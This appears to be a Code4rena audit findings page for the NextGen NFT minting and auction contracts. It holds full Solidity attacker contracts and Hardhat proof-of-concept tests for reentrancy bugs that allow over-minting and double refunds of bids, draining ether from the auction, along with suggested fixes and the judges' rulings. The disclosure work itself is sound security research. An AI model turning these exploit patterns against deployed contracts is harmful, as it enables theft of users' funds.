Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 32/243
Findings: 8
Award: $398.86
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: btk
Also found by: 00xSEV, 0x175, 0x180db, 0x3b, 0xAlix2, 0xJuda, 0xpiken, 0xraion, 3th, 836541, Al-Qa-qa, AvantGard, Aymen0909, Beosin, ChrisTina, DarkTower, DeFiHackLabs, EricWWFCP, Kose, Kow, KupiaSec, MrPotatoMagic, Neo_Granicen, PENGUN, PetarTolev, Ruhum, Soul22, SovaSlava, SpicyMeatball, Talfao, The_Kakers, Toshii, Tricko, VAD37, Viktor_Cortess, ZdravkoHr, _eperezok, alexxander, audityourcontracts, ayden, bird-flu, bronze_pickaxe, codynhat, critical-or-high, danielles0xG, degensec, droptpackets, evmboi32, fibonacci, flacko, gumgumzum, ilchovski, immeas, innertia, jacopod, joesan, ke1caM, kk_krish, mojito_auditor, nuthan2x, phoenixV110, pontifex, r0ck3tz, sces60107, seeques, sl1, smiling_heretic, stackachu, t0x1c, trachev, turvy_fuzz, ubl4nk, ustas, xAriextz, xuwinnie, y4y
0.076 USDC - $0.08
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L236
Prerequisites:
_maxAllowance
> 0Steps:
MinterContract.mint
onERC721Received
call mint
againtotalSupply
Variant:
burnOrSwapExternalToMint
to MinterContract.mint
, tokensMintedAllowlistAddress
and tokensMintedPerAddress
won't be updated and can mint one more than allowedAttacker minted more tokens than was allowed to him Others can mint less or can't mint at all because circulatingSupply is closer or equal to totalSupply
merkletreejs
to generate merkle proof cd hardhat && npm i merkletreejs
// SPDX-License-Identifier: MIT import "./MinterContract.sol"; import {IERC721Receiver} from "./IERC721Receiver.sol"; pragma solidity ^0.8.19; contract ReentersMint is IERC721Receiver { uint mintedTimes = 0; NextGenMinterContract minter; bytes32[] merkleProof; constructor(NextGenMinterContract _minter) { minter = _minter; } function setProof(bytes32[] calldata _merkleProof) external{ merkleProof = _merkleProof; } function mint() external { minter.mint( 1, // uint256 _collectionID, 2, // uint256 _numberOfTokens, 2, // uint256 _maxAllowance, "",// string memory _tokenData, address(this),// address _mintTo, merkleProof,// bytes32[] calldata merkleProof, address(0),// address _delegator, 0// uint256 _saltfun_o ); } function onERC721Received( address , address , uint256 , bytes calldata ) external returns (bytes4) { if (mintedTimes >= 2){ return IERC721Receiver.onERC721Received.selector; } mintedTimes += 1; minter.mint( 1, // uint256 _collectionID, 2, // uint256 _numberOfTokens, 2, // uint256 _maxAllowance, "",// string memory _tokenData, address(this),// address _mintTo, merkleProof,// bytes32[] calldata merkleProof, address(0),// address _delegator, 0// uint256 _saltfun_o ); return IERC721Receiver.onERC721Received.selector; } }
hardhat/tests/fileName.test.js
and run npx hardhat test test/fileName.test.js
// @ts-check const TEST_NAME = "Possible to mint more than allowed in `_maxAllowance`"; const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai"); // @ts-ignore const { ethers } = require("hardhat"); const fixturesDeployment = require("../scripts/fixturesDeployment.js") const { MerkleTree } = require('merkletreejs'); const { keccak256 } = require("@ethersproject/keccak256"); let signers let contracts describe("NextGen Tests", function () { let attacker; let attackerContract; beforeEach(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) attacker = signers.addr3; await contracts.hhCore.addMinterContract( contracts.hhMinter ); await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) contracts.hhReentersMint = await ( await ethers.getContractFactory("ReentersMint") ).deploy(contracts.hhMinter); attackerContract = contracts.hhReentersMint.connect(attacker); }) context(TEST_NAME, () => { let endTimestampAllowList; let startTimestampPublicSale; let collectionAdmin; let COLLECTION_ID; let proof; beforeEach(async function () { COLLECTION_ID = await contracts.hhCore.newCollectionIndex(); // prepare await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ); collectionAdmin = signers.addr1; await contracts.hhAdmin.registerCollectionAdmin( COLLECTION_ID, // _collectionID collectionAdmin.address, true, ) await contracts.hhCore.connect(collectionAdmin).setCollectionData( COLLECTION_ID, // _collectionID collectionAdmin.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) await contracts.hhMinter.setCollectionCosts( COLLECTION_ID, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 2000, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) const startTimestampAllowList = await getLatestBlockTimestamp(); endTimestampAllowList = startTimestampAllowList + 1000 // Makes sure the attacker is in the merkle tree let root; ({root, proof} = await createMerkleProofWith2Spots(attackerContract)); startTimestampPublicSale = startTimestampAllowList + 1000; await contracts.hhMinter.setCollectionPhases( COLLECTION_ID, // _collectionID startTimestampAllowList, // _allowlistStartTime endTimestampAllowList, // _allowlistEndTime // Enough time for both startTimestampPublicSale, // _publicStartTime endTimestampAllowList + 1000, // _publicEndTime root, // _merkleRoot ) }) it("attacks merkle root", async function() { const balanceBefore = await contracts.hhCore.balanceOf(attackerContract); expect(balanceBefore).to.eq(0); // We have set _maxAllowance = 2 in `createMerkleProofWith2Spots` (spots array) await attackerContract.setProof(proof); await attackerContract.mint(); const balanceAfter = await contracts.hhCore.balanceOf(attackerContract); expect(balanceAfter).to.eq(6); // Calling mint second time should not work (as expected) await expect(attackerContract.mint()) // @ts-ignore .to.be.revertedWith("AL limit") }) it("attacks option 2 (public sale)", async function() { // Skip time until public sale await ethers.provider.send('evm_setNextBlockTimestamp', [startTimestampPublicSale + 1]); const maxAllowance = await contracts.hhCore.viewMaxAllowance(COLLECTION_ID); expect(maxAllowance).eq(2); const attackerContract = contracts.hhReentersMint.connect(attacker); const balanceBefore = await contracts.hhCore.balanceOf(attackerContract); expect(balanceBefore).to.eq(0); await attackerContract.mint(); const balanceAfter = await contracts.hhCore.balanceOf(attackerContract); expect(balanceAfter).to.eq(6); // Calling mint second time should not work (as expected) await expect(attackerContract.mint()) // @ts-ignore .to.be.revertedWith("Max") }) }); }); async function getLatestBlockTimestamp() { // @ts-ignore return (await ethers.provider.getBlock("latest")).timestamp; } // see create_merkle.js example and https://github.com/miguelmota/merkletreejs-nft-whitelist // creates a merkle tree of 2 elements with an `account` having 2 spots async function createMerkleProofWith2Spots(account) { // slice(2) removes 0x const address = (await account.getAddress()).slice(2); const allowList = [ address, '5B38Da6a701c568545dCfcB03FcB875f56beddC4',]; const spots = [ '0000000000000000000000000000000000000000000000000000000000000002', '0000000000000000000000000000000000000000000000000000000000000000' ]; const txinfo = [ '', '', ]; const leaves = allowList.map((addr, index) => { const concatenatedData = addr + spots[index] + txinfo[index]; const bufferData = Buffer.from(concatenatedData , 'hex'); return keccak256(bufferData); }); const merkleTree = new MerkleTree(leaves, keccak256, { sortPairs: true }); return { root: merkleTree.getHexRoot(), proof: merkleTree.getHexProof(leaves[0]) }; }
Manual review
Add nonReentrant
modifier to MinterContract.mint
Use Pull over Push pattern
Use CEI pattern
Reentrancy
#0 - c4-pre-sort
2023-11-20T15:24:05Z
141345 marked the issue as duplicate of #51
#1 - c4-pre-sort
2023-11-26T14:03:07Z
141345 marked the issue as duplicate of #1742
#2 - c4-judge
2023-12-08T16:26:12Z
alex-ppg marked the issue as satisfactory
#3 - c4-judge
2023-12-08T16:26:21Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L139
Prerequisites:
block.timestamp == minter.getAuctionEndTime(_tokenid)
(1/12 chance if selected in random, see more in this answer)fallback payable
functionSteps for the attacker:
cancelAllBids
payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
in fallback payable
call claimAuction
on the first callreceive() external payable{ require(tokenId != 0, "tokenId is not set"); if (!hasBeenCalled){ hasBeenCalled = true; auction.claimAuction(tokenId); } }
Bids (except for the first one and the winning one) are returned to the attacker twice:
claimAuction
payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
cancelAllBids
payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
Attacker also receives the NFTPut the contract below in hardhat/smart-contracts
// SPDX-License-Identifier: MIT import {auctionDemo} from "./AuctionDemo.sol"; import {IERC721Receiver} from "./IERC721Receiver.sol"; pragma solidity ^0.8.19; contract CallsClaimAuctionOnFirstPayment is IERC721Receiver { auctionDemo immutable auction; uint tokenId; bool hasBeenCalled; constructor(auctionDemo _auction) { auction = _auction; } function setTokenId(uint _tokenId) external { tokenId = _tokenId; } function bid() external payable { require(msg.value > 0, "msg.value is required"); require(tokenId != 0, "tokenId is not set"); auction.participateToAuction{value: msg.value}(tokenId); } function cancelAllBids() external { auction.cancelAllBids(tokenId); } function onERC721Received( address , address , uint256 , bytes calldata ) external pure returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } receive() external payable{ require(tokenId != 0, "tokenId is not set"); if (!hasBeenCalled){ hasBeenCalled = true; auction.claimAuction(tokenId); } } }
Put the test file below to hardhat/tests/fileName.test.js
and run npx hardhat test test/fileName.test.js
// @ts-check const TEST_NAME = "Attacker can receive their bids back twice + NFT"; const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai"); // @ts-ignore const { ethers } = require("hardhat"); const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts describe("NextGen Tests", function () { let attacker; beforeEach(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) attacker = signers.addr3; const auction = await ethers.getContractFactory( "auctionDemo", ); contracts.hhAuction = await auction.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), await contracts.hhAdmin.getAddress(), ); await contracts.hhCore.addMinterContract( contracts.hhMinter ); await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) contracts.hhCallsClaimAuctionOnFirstPayment = await ( await ethers.getContractFactory("CallsClaimAuctionOnFirstPayment", attacker) ).deploy(await contracts.hhAuction.getAddress()); }) context("Verify Fixture", () => { it("Contracts are deployed", async function () { expect(await contracts.hhCallsClaimAuctionOnFirstPayment.getAddress()).to.not.equal( ethers.ZeroAddress, ) })} ); context(TEST_NAME, () => { let tokenId; let endTimestamp; let collectionAdmin; beforeEach(async function () { // prepare await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ); collectionAdmin = signers.addr1; await contracts.hhAdmin.registerCollectionAdmin( 1, collectionAdmin.address, true, ) await contracts.hhCore.connect(collectionAdmin).setCollectionData( 1, // _collectionID collectionAdmin.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 2000, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) const startTimestamp = await getLatestBlockTimestamp(); endTimestamp = startTimestamp + 1000 await contracts.hhMinter.setCollectionPhases( 1, // _collectionID startTimestamp, // _allowlistStartTime endTimestamp, // _allowlistEndTime 0, // _publicStartTime 0, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) // start auction const tx = await contracts.hhMinter.mintAndAuction( collectionAdmin.address, // _recipient "", // _tokenData 0, // _saltfun_o 1, // _collectionID endTimestamp, // _auctionEndTime ); // check token minted tokenId = await getLastMintedTokenId(tx); expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp); expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address); // approve auction to use it contracts.hhCore.connect(signers.addr1).approve( await contracts.hhAuction.getAddress(), tokenId ); }) it("attacks", async function() { // Simulate that auction contract has ether const AUCTION_STARTING_BALANCE = ethers.parseEther("20"); await ethers.provider.send("hardhat_setBalance", [ await contracts.hhAuction.getAddress(), "0x" + AUCTION_STARTING_BALANCE.toString(16), ]); expect(await ethers.provider.getBalance(contracts.hhAuction)) .to.eq(AUCTION_STARTING_BALANCE); // Create a variable for convenience const attackerContract = await contracts.hhCallsClaimAuctionOnFirstPayment.connect(attacker); await attackerContract.setTokenId(tokenId); // Step1: bet 3 times const firstBid = ethers.parseEther("1.0"); const secondBid = ethers.parseEther("1.1"); const thirdBid = ethers.parseEther("1.2"); await attackerContract.bid({value: firstBid}); await attackerContract.bid({value: secondBid}); await attackerContract.bid({value: thirdBid}); // Step2: bet 4th time to win const winningBid = ethers.parseEther("1.3"); await attackerContract.bid({value: winningBid}); // Make sure have no funds before the attack expect(await ethers.provider.getBalance(attackerContract)).to.eq(0); // Step3 // Skip till the end of auction await ethers.provider.send("evm_setAutomine", [false]); await ethers.provider.send("evm_setIntervalMining", [0]); await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]); // Call `cancelAllBids` from the attacker account await attackerContract.cancelAllBids(); await ethers.provider.send("evm_mine"); // Make sure attack was successful const expectedBalance = firstBid + secondBid * 2n + thirdBid * 2n + winningBid; const balanceAfter = await ethers.provider.getBalance(attackerContract); expect(balanceAfter).to.eq(expectedBalance); expect(firstBid+secondBid+thirdBid+winningBid).be.lessThan(balanceAfter); // check attacker owns the NFT too expect(await contracts.hhCore.ownerOf(tokenId)) .to.eq(await attackerContract.getAddress()); }) }); }); async function getLastMintedTokenId(tx) { return (await tx.wait()).logs .map(log => { try { return new ethers.Interface([ "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)" ]).parseLog(log); } catch (error) { return null; } }) .find(parsedLog => parsedLog && parsedLog.name === "Transfer") .args.tokenId; } async function getLatestBlockTimestamp() { // @ts-ignore return (await ethers.provider.getBlock("latest")).timestamp; }
Manual review
Add nonReentrant to cancelAllBids
, claimAuction
Use Pull over Push pattern
Reentrancy
#0 - c4-pre-sort
2023-11-20T15:23:21Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-04T21:41:17Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T18:01:59Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105
Prerequisites:
getAuctionEndTime
is a valid block.timestamp
(1/12 chance if selected in random, see more in this answer)claimAuction
will be called on block.timestamp == minter.getAuctionEndTime(_tokenid)
(can be called by the attacker if they are also a winner)Steps by the attacker if the attacker is the winner:
block.timestamp == minter.getAuctionEndTime(_tokenid)
. For example using minTimestamp & maxTimestamp parameters, allowed, see docs. Or just calculate desired block number and use it
claimAuction
receive/fallback payable
functionscancelAllBids
, which is called on payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
receive() external payable{ require(tokenId != 0, "tokenId is not set"); returnsCounter+=1; bool isLastNonWiningBet = returnsCounter == bidCounter-1; if (isLastNonWiningBet){ auction.cancelAllBids(tokenId); } }
auctionInfoData[_tokenid][i].bid
first in claimAuction
, then in cancelBid
/cancelBids
Steps by the attacker if the attacker is not the winner:
Note: lower chance of the attack success here
claimAuction
is called on block.timestamp == minter.getAuctionEndTime(_tokenid)
cancelAllBids
in receive/fallback payable
, which is called on payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
auctionInfoData[_tokenid][i].bid
first in claimAuction
, then in `cancelAllBidsVariations:
The attacker can also call cancelBid
on each call, but they will need to track their bet's index in this case.
Attacker receives double his bets except for the first one.
E.g. for 4 bets: 1.0Eth, 1.1Eth, 1.2Eth, 1.3Eth they will receive back 1.0*2 + 1.1*2 + 1.2*2 + 1.3
= 7.9Eth
(The winning bet will be returned only once)
7.9-4.6=3.3 Eth is stolen from the contract
Put the contracts below in hardhat/smart-contracts
// SPDX-License-Identifier: MIT import {auctionDemo} from "./AuctionDemo.sol"; import {IERC721Receiver} from "./IERC721Receiver.sol"; pragma solidity ^0.8.19; contract CallsCancelBidsOnPayment is IERC721Receiver { auctionDemo immutable auction; uint tokenId; uint bidCounter; uint returnsCounter; constructor(auctionDemo _auction) { auction = _auction; } function setTokenId(uint _tokenId) external { tokenId = _tokenId; } function bid() external payable { require(msg.value > 0, "msg.value is required"); require(tokenId != 0, "tokenId is not set"); auction.participateToAuction{value: msg.value}(tokenId); bidCounter+=1; } function claim() external { auction.claimAuction(tokenId); } function onERC721Received( address , address , uint256 , bytes calldata ) external pure returns (bytes4) { return IERC721Receiver.onERC721Received.selector; } receive() external payable{ require(tokenId != 0, "tokenId is not set"); returnsCounter+=1; bool isLastNonWiningBet = returnsCounter == bidCounter-1; if (isLastNonWiningBet){ auction.cancelAllBids(tokenId); } } }
Put the test file below to hardhat/tests/fileName.test.js
and run npx hardhat test test/fileName.test.js
// @ts-check const TEST_NAME = "Any bidder can return their bid twice"; const { loadFixture, } = require("@nomicfoundation/hardhat-toolbox/network-helpers") const { expect } = require("chai"); // @ts-ignore const { ethers } = require("hardhat"); const fixturesDeployment = require("../scripts/fixturesDeployment.js") let signers let contracts describe("NextGen Tests", function () { let attacker; beforeEach(async function () { ;({ signers, contracts } = await loadFixture(fixturesDeployment)) attacker = signers.addr3; const auction = await ethers.getContractFactory( "auctionDemo", ); contracts.hhAuction = await auction.deploy( await contracts.hhMinter.getAddress(), await contracts.hhCore.getAddress(), await contracts.hhAdmin.getAddress(), ); await contracts.hhCore.addMinterContract( contracts.hhMinter ); await contracts.hhCore.addRandomizer( 1, contracts.hhRandomizer, ) contracts.hhCallsCancelBidsOnPayment = await ( await ethers.getContractFactory("CallsCancelBidsOnPayment", attacker) ).deploy(await contracts.hhAuction.getAddress()); }) context("Verify Fixture", () => { it("Contracts are deployed", async function () { expect(await contracts.hhCallsCancelBidsOnPayment.getAddress()).to.not.equal( ethers.ZeroAddress, ) })} ); context(TEST_NAME, () => { let tokenId; let endTimestamp; let collectionAdmin; beforeEach(async function () { // prepare await contracts.hhCore.createCollection( "Test Collection 1", "Artist 1", "For testing", "www.test.com", "CCO", "https://ipfs.io/ipfs/hash/", "", ["desc"], ); collectionAdmin = signers.addr1; await contracts.hhAdmin.registerCollectionAdmin( 1, collectionAdmin.address, true, ) await contracts.hhCore.connect(collectionAdmin).setCollectionData( 1, // _collectionID collectionAdmin.address, // _collectionArtistAddress 2, // _maxCollectionPurchases 10000, // _collectionTotalSupply 0, // _setFinalSupplyTimeAfterMint ) await contracts.hhMinter.setCollectionCosts( 1, // _collectionID 0, // _collectionMintCost 0, // _collectionEndMintCost 0, // _rate 2000, // _timePeriod 1, // _salesOptions '0xD7ACd2a9FD159E69Bb102A1ca21C9a3e3A5F771B', // delAddress ) const startTimestamp = await getLatestBlockTimestamp(); endTimestamp = startTimestamp + 1000 await contracts.hhMinter.setCollectionPhases( 1, // _collectionID startTimestamp, // _allowlistStartTime endTimestamp, // _allowlistEndTime 0, // _publicStartTime 0, // _publicEndTime "0x8e3c1713145650ce646f7eccd42c4541ecee8f07040fc1ac36fe071bbfebb870", // _merkleRoot ) // start auction const tx = await contracts.hhMinter.mintAndAuction( collectionAdmin.address, // _recipient "", // _tokenData 0, // _saltfun_o 1, // _collectionID endTimestamp, // _auctionEndTime ); // check token minted tokenId = await getLastMintedTokenId(tx); expect(await contracts.hhMinter.getAuctionEndTime(tokenId)).to.eq(endTimestamp); expect(await contracts.hhCore.ownerOf(tokenId)).to.eq(collectionAdmin.address); // approve auction to use it contracts.hhCore.connect(signers.addr1).approve( await contracts.hhAuction.getAddress(), tokenId ); }) it("attacks", async function() { // Simulate that auction contract has ether const AUCTION_STARTING_BALANCE = ethers.parseEther("20"); await ethers.provider.send("hardhat_setBalance", [ await contracts.hhAuction.getAddress(), "0x" + AUCTION_STARTING_BALANCE.toString(16), ]); expect(await ethers.provider.getBalance(contracts.hhAuction)) .to.eq(AUCTION_STARTING_BALANCE); // Create a variable for convenience const attackerContract = await contracts.hhCallsCancelBidsOnPayment.connect(attacker); await attackerContract.setTokenId(tokenId); // Step1: bet 3 times const firstBid = ethers.parseEther("1.0"); const secondBid = ethers.parseEther("1.1"); const thirdBid = ethers.parseEther("1.2"); await attackerContract.bid({value: firstBid}); await attackerContract.bid({value: secondBid}); await attackerContract.bid({value: thirdBid}); // Step2: bet 4th time to win const winningBid = ethers.parseEther("1.3"); await attackerContract.bid({value: winningBid}); // Make sure have no funds before the attack expect(await ethers.provider.getBalance(attackerContract)).to.eq(0); // Step3 // Skip till the end of auction await ethers.provider.send("evm_setAutomine", [false]); await ethers.provider.send("evm_setIntervalMining", [0]); await ethers.provider.send('evm_setNextBlockTimestamp', [endTimestamp]); // Call `claimAuction` from the attacker account await attackerContract.claim(); await ethers.provider.send("evm_mine"); // Make sure attack was successful const expectedBalance = firstBid * 2n + secondBid * 2n + thirdBid * 2n + winningBid; const balanceAfter = await ethers.provider.getBalance(attackerContract); expect(balanceAfter).to.eq(expectedBalance); expect(firstBid+secondBid+thirdBid+winningBid).be.lessThan(balanceAfter); }) }); }); async function getLastMintedTokenId(tx) { return (await tx.wait()).logs .map(log => { try { return new ethers.Interface([ "event Transfer(address indexed from, address indexed to, uint256 indexed tokenId)" ]).parseLog(log); } catch (error) { return null; } }) .find(parsedLog => parsedLog && parsedLog.name === "Transfer") .args.tokenId; } async function getLatestBlockTimestamp() { // @ts-ignore return (await ethers.provider.getBlock("latest")).timestamp; }
Manual review
Use Pull over Push pattern.
Change >=
to >
in block.timestamp >= minter.getAuctionEndTime(_tokenid)
in claimAuction
Use nonReentrant
modifiers
Invalid Validation
#0 - c4-pre-sort
2023-11-14T13:36:13Z
141345 marked the issue as duplicate of #1904
#1 - c4-pre-sort
2023-11-14T23:31:39Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-04T21:41:42Z
alex-ppg marked the issue as duplicate of #1323
#3 - c4-judge
2023-12-08T18:01:41Z
alex-ppg marked the issue as satisfactory
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105
Prerequisites:
getAuctionEndTime
is a valid block.timestamp
(1/12 chance if selected in random, see more in this answer)
Steps by the attacker:block.timestamp == minter.getAuctionEndTime(_tokenid)
. For example using minTimestamp & maxTimestamp parameters, allowed, see docs. Or just calculate desired block number and use it
claimAuction
cancelBid
in onERC721Received
Attacker returns their bid and gets the NFT
Put the contract below in hardhat/smart-contracts
// SPDX-License-Identifier: MIT import {auctionDemo} from "./AuctionDemo.sol"; import {IERC721Receiver} from "./IERC721Receiver.sol"; pragma solidity ^0.8.19; contract CancelOnWin is IERC721Receiver { auctionDemo immutable auction; constructor(auctionDemo _auction) { auction = _auction; } function bid(uint256 tokenId) external payable { require(msg.value > 0); auction.participateToAuction{value: msg.value}(tokenId); } function claim(uint256 tokenId) external { auction.claimAuction(tokenId); } function onERC721Received( address , address , uint256 tokenId, bytes calldata ) external returns (bytes4) { auction.cancelAllBids(tokenId); return IERC721Receiver.onERC721Received.selector; } receive() external payable{} }
Put the test file below to hardhat/tests/fileName.test.js
and run npx hardhat test test/fileName.test.js
